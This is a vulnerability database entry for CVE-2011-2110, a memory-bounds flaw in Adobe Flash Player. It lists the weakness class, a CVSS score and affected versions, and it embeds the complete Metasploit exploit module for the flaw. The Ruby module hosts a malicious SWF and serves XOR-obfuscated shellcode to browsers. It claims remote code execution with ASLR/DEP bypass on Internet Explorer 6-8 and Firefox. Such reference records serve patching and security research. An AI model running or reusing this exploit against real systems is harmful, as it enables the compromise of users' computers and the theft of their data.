Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19295
Publication date : 2012-06-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.
Specifically, this issue occurs when indexing an array using an arbitrary value,
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
'Unknown' # malware version seen used in targeted attacks
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2011-2110'],
['OSVDB', '48268'],
['URL', 'http://www.adobe.com/devnet/swf.html'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Jun 21 2012',
'DefaultTarget' => 0))
end
def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end
def check_dependencies
use_zlib
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
code = rand_text_alpha(rand(6)+3) + ".txt"
sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""
sc.each_byte do | c |
shellcode << (xor_byte ^ c)
end
uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
bd_uri = Zlib::Deflate.deflate(uri)
uri = ""
bd_uri.each_byte do | c |
uri << (xor_byte ^ c)
end
bd_uri = uri.unpack("H*")[0]
obj_id = rand_text_alpha(rand(6)+3)
if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 10.3.181.23
Adobe>>Flash_player >> Version 6.0.21.0
Adobe>>Flash_player >> Version 6.0.79
Adobe>>Flash_player >> Version 7.0
Adobe>>Flash_player >> Version 7.0.1
Adobe>>Flash_player >> Version 7.0.14.0
Adobe>>Flash_player >> Version 7.0.19.0
Adobe>>Flash_player >> Version 7.0.24.0
Adobe>>Flash_player >> Version 7.0.25
Adobe>>Flash_player >> Version 7.0.53.0
Adobe>>Flash_player >> Version 7.0.60.0
Adobe>>Flash_player >> Version 7.0.61.0
Adobe>>Flash_player >> Version 7.0.63
Adobe>>Flash_player >> Version 7.0.66.0
Adobe>>Flash_player >> Version 7.0.67.0
Adobe>>Flash_player >> Version 7.0.68.0
Adobe>>Flash_player >> Version 7.0.69.0
Adobe>>Flash_player >> Version 7.0.70.0
Adobe>>Flash_player >> Version 7.0.73.0
Adobe>>Flash_player >> Version 7.1
Adobe>>Flash_player >> Version 7.1.1
Adobe>>Flash_player >> Version 7.2
Adobe>>Flash_player >> Version 8.0
Adobe>>Flash_player >> Version 8.0.22.0
Adobe>>Flash_player >> Version 8.0.24.0
Adobe>>Flash_player >> Version 8.0.33.0
Adobe>>Flash_player >> Version 8.0.34.0
Adobe>>Flash_player >> Version 8.0.35.0
Adobe>>Flash_player >> Version 8.0.39.0
Adobe>>Flash_player >> Version 8.0.42.0
Adobe>>Flash_player >> Version 9.0
Adobe>>Flash_player >> Version 9.0.16
Adobe>>Flash_player >> Version 9.0.18d60
Adobe>>Flash_player >> Version 9.0.20
Adobe>>Flash_player >> Version 9.0.20.0
Adobe>>Flash_player >> Version 9.0.28
Adobe>>Flash_player >> Version 9.0.28.0
Adobe>>Flash_player >> Version 9.0.31
Adobe>>Flash_player >> Version 9.0.31.0
Adobe>>Flash_player >> Version 9.0.45.0
Adobe>>Flash_player >> Version 9.0.47.0
Adobe>>Flash_player >> Version 9.0.48.0
Adobe>>Flash_player >> Version 9.0.112.0
Adobe>>Flash_player >> Version 9.0.114.0
Adobe>>Flash_player >> Version 9.0.115.0
Adobe>>Flash_player >> Version 9.0.124.0
Adobe>>Flash_player >> Version 9.0.125.0
Adobe>>Flash_player >> Version 9.0.151.0
Adobe>>Flash_player >> Version 9.0.152.0
Adobe>>Flash_player >> Version 9.0.155.0
Adobe>>Flash_player >> Version 9.0.159.0
Adobe>>Flash_player >> Version 9.0.246.0
Adobe>>Flash_player >> Version 9.0.260.0
Adobe>>Flash_player >> Version 9.0.262.0
Adobe>>Flash_player >> Version 9.0.277.0
Adobe>>Flash_player >> Version 9.0.283.0
Adobe>>Flash_player >> Version 9.125.0
Adobe>>Flash_player >> Version 10.0.0.584
Adobe>>Flash_player >> Version 10.0.12.10
Adobe>>Flash_player >> Version 10.0.12.36
Adobe>>Flash_player >> Version 10.0.15.3
Adobe>>Flash_player >> Version 10.0.22.87
Adobe>>Flash_player >> Version 10.0.32.18
Adobe>>Flash_player >> Version 10.0.42.34
Adobe>>Flash_player >> Version 10.0.45.2
Adobe>>Flash_player >> Version 10.1.52.14.1
Adobe>>Flash_player >> Version 10.1.52.15
Adobe>>Flash_player >> Version 10.1.53.64
Adobe>>Flash_player >> Version 10.1.82.76
Adobe>>Flash_player >> Version 10.1.85.3
Adobe>>Flash_player >> Version 10.1.92.8
Adobe>>Flash_player >> Version 10.1.92.10
Adobe>>Flash_player >> Version 10.1.95.1
Adobe>>Flash_player >> Version 10.1.95.2
Adobe>>Flash_player >> Version 10.1.102.64
Adobe>>Flash_player >> Version 10.2.152
Adobe>>Flash_player >> Version 10.2.152.32
Adobe>>Flash_player >> Version 10.2.152.33
Adobe>>Flash_player >> Version 10.2.154.13
Adobe>>Flash_player >> Version 10.2.154.25
Adobe>>Flash_player >> Version 10.2.159.1
Adobe>>Flash_player >> Version 10.3.181.14
Adobe>>Flash_player >> Version 10.3.181.16
Apple>>Mac_os_x >> Version *
Linux>>Linux_kernel >> Version *
Microsoft>>Windows >> Version *
Sun>>Sunos >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 10.3.185.23
Adobe>>Flash_player >> Version 10.1.92.8
Adobe>>Flash_player >> Version 10.1.92.10
Adobe>>Flash_player >> Version 10.1.95.2
Adobe>>Flash_player >> Version 10.1.105.6
Adobe>>Flash_player >> Version 10.1.106.16
Adobe>>Flash_player >> Version 10.2.156.12
Adobe>>Flash_player >> Version 10.2.157.51
Adobe>>Flash_player >> Version 10.3.185.21
Google>>Android >> Version *
References